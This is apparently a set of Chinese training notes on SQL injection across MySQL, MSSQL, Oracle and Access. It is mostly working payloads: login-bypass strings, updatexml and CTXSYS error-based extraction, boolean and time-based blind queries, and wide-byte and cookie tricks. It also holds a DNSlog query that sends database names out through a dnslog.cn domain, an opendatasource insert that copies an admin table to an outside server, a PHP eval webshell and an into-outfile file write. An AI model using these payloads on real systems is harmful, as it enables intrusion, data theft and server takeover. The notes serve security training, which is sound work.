一、本质
原理:用户输入数据被当做SQL代码执行。
条件:用户能控制输入;原本程序要执行的代码拼接了用户数据然后执行。
判断:
1、and 1=1 页面正常
and 1=2 页面不正常
ps:and 1=1,and 1=2被拦截的可能性高,可以尝试and -1=-1,and -1=-2,and 1>0,or 1=1,或者直接or sleep(5)
2、页面后面加 ' ,看是否报错
3、数字型传参尝试-1
id=1和id=2-1都显示id=1的页面
这里不限于2-1,可以使用任意符号
ps:所有写在URL栏中的东西会经过URL编码,会把空格编码为+。所以运算判断中,“+”号用不了。
二、显错注入基本流程
1、是否存在注入点
and 1=1,and1=2;符号传参;页面添加'
2、猜字段数
MYSQL中使用:order by 1,order by 2,order by 3,······直到页面无法显示正常
MSSQL中:和MYSQL一样的方法
ORACLE中:和MYSQL中一样的方法
ACCESS中:和MYSQL一样的方法
3、查找输出点
database()可以查询当前数据库名
MYSQL中:and 1=2 union select 1,2,3,有几个字段就写到几
MSSQL中:and 1=2 union select all null,null,null from 存在的表名,再把填充的每个null去猜类型
ORACLE中:and 1=2 union select null,null,null from dual/存在的表名,再把每个null猜类型,看能否返回正常。
ACCESS中:and 1=2 union select 1,2,3 from 表名
4、系统自带库查找表名、字段名
1、MYSQL
Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
information_schema.tables 存放表名和库名的对应
information_schema.columns 存放字段名和表名的对应
union select table_name from information_schema.tables where table_schema=database() 查询表名
union select column_name from information_schema_columns where table_name='表名' and table_schema=database() 查询字段名
2、ORACLE
Oracle中没有库这个定义,而是只有用户概念。
select * from all_tables 查询出所有表
select * from user_tables 查询当前用户的表
select * from all_tab_columns 查询出所有字段
select * from user tab_columns 查询当前用户字段
3、MSSQL中
联合查询要写union all select
sysobjects 查询系统表 (xtype='U')
syscolumns 字段 (id= ) 指定sysobjects库中表名对应id
5、查询需要的字段的值
union select 字段 from 表名
三、POST注入
高危点:登录框、查询框等各种和数据库有交互的框
原理:在数据提交处,提交sql语句,使系统进行查询返回相应信息
万能密码:' or 1=1 -- qwe
与显错注入类似,只是需要在提交的数据中注入,在1=1和-- qwe中间输入注入命令
POST注入还可以使用sqlmap
1、-- form
2、-r 1.txt,这是利用Burp抓包后的数据包,在指定参数后添加 *
ps:POST传参一般不进行url编码,但GET传参会。
四、HEAD注入
原理:利用php的全局变量$_server获取用户的相关信息且将数据存入数据库,利用updatexml函数输入sql语句,返回信息。
PHP中的超全局变量可以进行HEAD注入,当页面存在这些传参时,可以使用HEAD注入。此处配合报错注入。
可以在ModHeader插件中注入,也可以使用Burp抓包改变量参数的方式注入。
$_REQUEST 获取GET/POST
$_POST 获取POST传参
$_GET 获取GET传参
$_COOKIE 获取GET传参
$_SERVER 包含头信息header,路径path,脚本位置script locations等信息数组
X-Forwarded-For
五、报错注入
1、主要函数
(1)upadtexml() 更新xml文档的函数
updatexml(目标xml内容,xml文档路径,更新的内容)
(2)concat() 把两个语句拼接
2、语句
eg:updatexml(1,concat(0x7e,(select database()),0x7e),1)
0x7e是为了让数据库报错的符号“~”,有了这个拼接的特殊符号才会报错。十六进制是0x7e,除此之外还有“!”
updatexml()这个函数一般配合and 或者 or执行
eg:select * from news where id=1 andupdatexml(1,concat(0x7e,(select database()),0x7e),1)
and情况下只要有一个为false,就会判定是false,所以如果and签名条件不成立的情况下,就不会执行之后的语句,所以使用的时候建议用or。
某些没有回显的盲注也可以使用updatexml()。
六、盲注
盲注对应显错注入,当web服务器关闭了错误回显,这个时候使用盲注。所谓盲注就是在服务器没有错误回显的时候完成的注入。
方法:首先用substr截取字符串,每次截取一个,用ascii()函数转化为ascii码,进行判断,如果不符合,返回页面错误,最后根据得到的ascii码来判断它的值。
1、主要函数
(1)enth() 返回字符串长度
eg:select length(database());
(2)substr() 截取字符串长度 substr(str,position,length)
eg:select substr('abcd',1,1) 从第1个字符,截取1个
(3)ascii() 返回字符的ascii码
eg:select ascii(substr(databases,1,1)) < 128;
(4)sleep() 将程序挂起n秒
eg:select XXX and 1=2 or sleep(5)
(5)if(expr 1,expr 2,expr 3) 判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个
eg:select if(length(database())>5,sleep(2),1);
2、布尔盲注
只会根据注入信息返回Ture或False,没有报错信息。
原理:根据返回页面的正确与否,通过判断对应字符的ascii码值是否对应,来判断字符串具体的数值。可以配合Burp爆破。
eg:
and (ascii(substr(database(),1,1)))=115 -- qwe 如果返回正常说明数据库名称第一位是s
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 -- qwe 如果返回正常,说明数据库表名第一个的第一位是e
and(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)))=102 -- qwe 如果返回正常,说明表名中列名第一位是f
3、时间盲注
页面返回值只有一种,true,无论输入任何值,都会按照正常处理。加入特定时间函数,通过查看web页面返回是否延时来判断注入语句是否正常。
原理:通过时间延迟来判断是否存在注入
eg:
and if(ascii(substr(database(),1,1))>120,0,sleep(10))-- qwe 如果数据库名ascii码长度大于120,不执行语句,如果第一个条件不成立,则延时10秒钟。
七、宽字节注入
程序员在编写php代码时使用了魔术引号,当php请求发送到mysql中经过了一次gbk编码,php会把获取到的数据进行魔术引号处理。使得输入的单引号、双引号、反斜杠符号被转义成了字符串。
漏洞产生原因:PHP编码格式和数据库编码格式不同,特别是字符不同的编码
过滤原理:GBK是双字节编码,当提交%df这个字符和转义的反斜杠组成一个新的汉字,数据库处理根据GBK处理,单引号就可以被过滤。
绕过原理:已知我们提交的数据会被加入\,\的编码是%5c,则我们在后面加上%df后,变成%df%5c,使得成为一个繁体汉字運,绕过了单引号闭合。
除了使用%df,还可以使用汉字绕过,因为一个汉字传入,php接收时是utf-8编码,三字节(GBK是双字节),汉字和反斜杠配对可以组成两个汉字,使得单引号绕过闭合。
ps:当使用union select column_name from information_schema.columns where table_name='表名' and table_schema=database() 时,查询表名最好使用十六进制,因为使用单引号,单引号会被加上反斜杠,对查询产生影响。
也可以将'表名'替换成(select table_schema from information_schema.tables where table_schema=database() limit 0,1)的子查询绕过。
八、ACCESS注入——Cookie注入
1、简介
如果开发用$REQUEST[]来接收参数,但POST和GET传参被waf拦截,但也许waf没有对Cookie进行检测,可以尝试用Cookie传参,绕过waf。
1、Cookie:代表身份的一串字符串,由此网站来识别你是谁。
2、$_REQUEST[]:可以获取POST|GET|COOKIE传参。一般来说,都会对get或post传参进行拦截,这时候可以考虑对Cookie进行传参。Cookie的优先级比get、post高。
2、更改Cookie的方式
(1)浏览器:按F12,找到Application模块下的Cookies值,修改即可。
(2)Burp抓包修改:通过Burp拦截请求,Cookie就在HTTP请求中,修改即可。
(3)浏览器插件:设置Cookie,Cookie值。
(4)JS设置:在console控制台通过代码修改Cookie。document.cookie :查看Cookie
document.cookie = "cookie_name=cookie_value" :修改Cookie
docuemtn.cookie = "id="+escape("171") // + 连接符,escape():URL编码函数
3、注意
(1)Cookie最好进行一次URL编码;
(2)设置Cookie能影响传参不代表一定存在Cookie注入;
(3)Cookie注入时要删除URL里的id传参
(4)access数据库不支持select 1,2,3这种语句,必须跟上from 表名
(5)access数据库里没有系统自带表,只能猜表名
(6)如果用Sqlmap直接跑Cookie注入,sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2
九、Access注入——偏移注入
1、使用场景:
- 不知道表名、字段名:Access数据库中是无解,几乎是无法注入。
- 知道表名,不知道字段名:有办法,用移位溢注。原理:库.表.字段 admin.* 代表admin表里所有的字段
注意:
- 偏移注入是针对于联合查询注入的一种方法,最关键的一点是需要有回显。
- 偏移注入必须要知道表名(Burp爆破),而且注入点字段数要大于想要查询的字段数,在不知道字段名的情况下获取数据
2、偏移注入步骤
十、MYSQL注入——DNS注入
1、使用场景
某些无法直接获得漏洞回显的情况下,但是目标可以发起请求,这时可以通过DNS请求把想获得的数据外带出来。
原理:通过select子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录。此时变为显错注入,将盲注变显错注入。读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
2、DNSLOG函数解析
1、LOAD_FILE() 读取文件函数
文件必须在服务器主机上;指定文件完整路径;文件可读但内容必须小于max_allowed_packet规定大小;文件存在,且可读取。如以上条件不满足一个,则返回null。
在注入中,利用读取注入的报错信息,返回报错信息。
需要在mysql配置文件添加一句secure_file_priv=
2、UNC路径
通用命名规则。//域名/文件夹
eg: //a.1806dl.dnslog.cn/abc 访问1806dl.dnslog.cn下的abc共享文件夹
3、利用函数
select LOAD_FILE(concat('//',select database(),'.1806dl.dnslog.cn/abc'))
数据库访问1806dl.dnslog.cn的服务器下的共享文件夹abc,然后1806dl.dnslog.cn的子域名解析都是在某台服务器,记录下有人请求访问,然后在dnslog平台显示出来。子查询出来的结果会被显示在dns服务器记录中。
3、SQL注入直接拿服务器
- load_file() 读取文件
- into dumpfile 写文件
- into outfile 写文件(写入绝对路径)
select 1 into outfile 'F:/PHP/AAA/WWW/1.txt';
select 1 into outfile 'F:\\PHP\\AAA\\WWW\\1.txt';
一句话木马<?php eval($_REQUEST[8]) ?> eval代码执行,传参会被当做代码执行
十一、MSSQL——反弹注入
1、使用场景
明明是SQL注入点却无法进行注入,注射工具猜解速度异常缓慢,错误提示信息关闭,无法返回注射结果等。
注意:MSSQL数据库的规范,要使用反弹注入,反弹注入的数据表和被注入页面的数据表也应该是相同字段。
2、函数解析
(1)opendatasource(provider_name,init_string)
provider_name参数 MsSQL数据库常写sqloledb,类似接口名称的意思
init_string参数 写连接地址、端口、用户名、密码、数据库名
server=连接地址,端口
uid=用户名
pwd=密码
database=数据库名称
eg:
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkap_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe
把select * from admin 的结果插入目标的temp表
server后是插入地址,地址使用在香港云申请的连接地址和用户名,密码
sqloledb是构成通道的固定值,不更改
server后是数据库地址
uid后是数据库用户名
passwd是密码
database是数据库名称
DB_14A5E44_zkaq.dbo.temp是查询数据库dbo(用户创建)里的temp表
注意:这里用到了堆叠注入(用;结束前一个语句,并执行下一个语句)
3、MSSQL显错注入
(1)通过系统自带库查询数据库名
select name from dbo.sysdatabases
(2)通过系统自带库查询表名(查询用户建立的数据表)
select name,id from dbo.sysobjects where xtype=’U’
(3)通过系统自带库查询字段名(查询表的时候记录需要表的id值)
select name,id from dbo.syscolumns where id=245575913
(4)查询当前库名
select db_name()
十二、Oracle——报错注入
1、Oracle数据库自带表
Oracle强化用户概念,用户约等于库,创建的数据表会存在每个用户下面。且select 字段 from表的结构严格,所以可以使用dual表来满足查询语句的结构。
查询所有表:select * from all_tables
查询当前用户表:select * from user_tables
查询所有字段: select * from all_tab_columns
查询当前用户字段 select * from user_tab_columns
页面只能返回第一条数据:
- select * from user_tab_columns where table_name <>'TABLE_NAME' and table_name <> 'COLUMN_NAME'
- select * from user_tab_columns where rownum=1 |rownum<4
查询指定数据:select * from (select rownum no,table_name from user_tab_columns) where no =1
注意:rownum会自增编译序号,是个临时表。
2、报错注入
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
报错注入查询表名
and 1=CTXSYS.DRITHSX.SN(user,(select table_name from (select rownum ro,table_name from user_tables) where ro=3))
报错注入查询字段名
and 1=CTXSYS.DRITHSX.SN(user,(select column_name from (select rownum ro,column_name from user_tab_columns) where ro=1))
报错注入查询出字段内容,得到flag
and 1=CTXSYS.DRITHSX.SN(user,(select UPASS from (select rownum ro, UPASS from ADMIN )where ro=1))